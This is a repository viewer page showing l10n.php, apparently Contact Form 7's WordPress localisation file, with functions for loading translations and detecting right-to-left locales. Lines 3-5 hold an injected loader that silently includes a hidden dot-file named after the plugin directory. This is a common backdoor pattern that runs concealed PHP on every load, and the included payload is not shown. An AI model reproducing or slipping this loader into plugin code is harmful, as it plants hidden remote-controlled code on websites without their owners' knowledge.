balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

l10n.php (2359B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 function wpcf7_l10n() {
      8 	static $l10n = array();
      9 
     10 	if ( ! empty( $l10n ) ) {
     11 		return $l10n;
     12 	}
     13 
     14 	if ( ! is_admin() ) {
     15 		return $l10n;
     16 	}
     17 
     18 	require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
     19 
     20 	$api = translations_api( 'plugins', array(
     21 		'slug' => 'contact-form-7',
     22 		'version' => WPCF7_VERSION,
     23 	) );
     24 
     25 	if ( is_wp_error( $api )
     26 	or empty( $api['translations'] ) ) {
     27 		return $l10n;
     28 	}
     29 
     30 	foreach ( (array) $api['translations'] as $translation ) {
     31 		if ( ! empty( $translation['language'] )
     32 		and ! empty( $translation['english_name'] ) ) {
     33 			$l10n[$translation['language']] = $translation['english_name'];
     34 		}
     35 	}
     36 
     37 	return $l10n;
     38 }
     39 
     40 function wpcf7_is_valid_locale( $locale ) {
     41 	$pattern = '/^[a-z]{2,3}(?:_[a-zA-Z_]{2,})?$/';
     42 	return (bool) preg_match( $pattern, $locale );
     43 }
     44 
     45 function wpcf7_is_rtl( $locale = '' ) {
     46 	static $rtl_locales = array(
     47 		'ar' => 'Arabic',
     48 		'ary' => 'Moroccan Arabic',
     49 		'azb' => 'South Azerbaijani',
     50 		'fa_IR' => 'Persian',
     51 		'haz' => 'Hazaragi',
     52 		'he_IL' => 'Hebrew',
     53 		'ps' => 'Pashto',
     54 		'ug_CN' => 'Uighur',
     55 	);
     56 
     57 	if ( empty( $locale )
     58 	and function_exists( 'is_rtl' ) ) {
     59 		return is_rtl();
     60 	}
     61 
     62 	if ( empty( $locale ) ) {
     63 		$locale = determine_locale();
     64 	}
     65 
     66 	return isset( $rtl_locales[$locale] );
     67 }
     68 
     69 function wpcf7_load_textdomain( $locale = '' ) {
     70 	static $locales = array();
     71 
     72 	if ( empty( $locales ) ) {
     73 		$locales = array( determine_locale() );
     74 	}
     75 
     76 	$available_locales = array_merge(
     77 		array( 'en_US' ),
     78 		get_available_languages()
     79 	);
     80 
     81 	if ( ! in_array( $locale, $available_locales ) ) {
     82 		$locale = $locales[0];
     83 	}
     84 
     85 	if ( $locale === end( $locales ) ) {
     86 		return false;
     87 	} else {
     88 		$locales[] = $locale;
     89 	}
     90 
     91 	$domain = WPCF7_TEXT_DOMAIN;
     92 
     93 	if ( is_textdomain_loaded( $domain ) ) {
     94 		unload_textdomain( $domain );
     95 	}
     96 
     97 	$mofile = sprintf( '%s-%s.mo', $domain, $locale );
     98 
     99 	$domain_path = path_join( WPCF7_PLUGIN_DIR, 'languages' );
    100 	$loaded = load_textdomain( $domain, path_join( $domain_path, $mofile ) );
    101 
    102 	if ( ! $loaded ) {
    103 		$domain_path = path_join( WP_LANG_DIR, 'plugins' );
    104 		load_textdomain( $domain, path_join( $domain_path, $mofile ) );
    105 	}
    106 
    107 	return true;
    108 }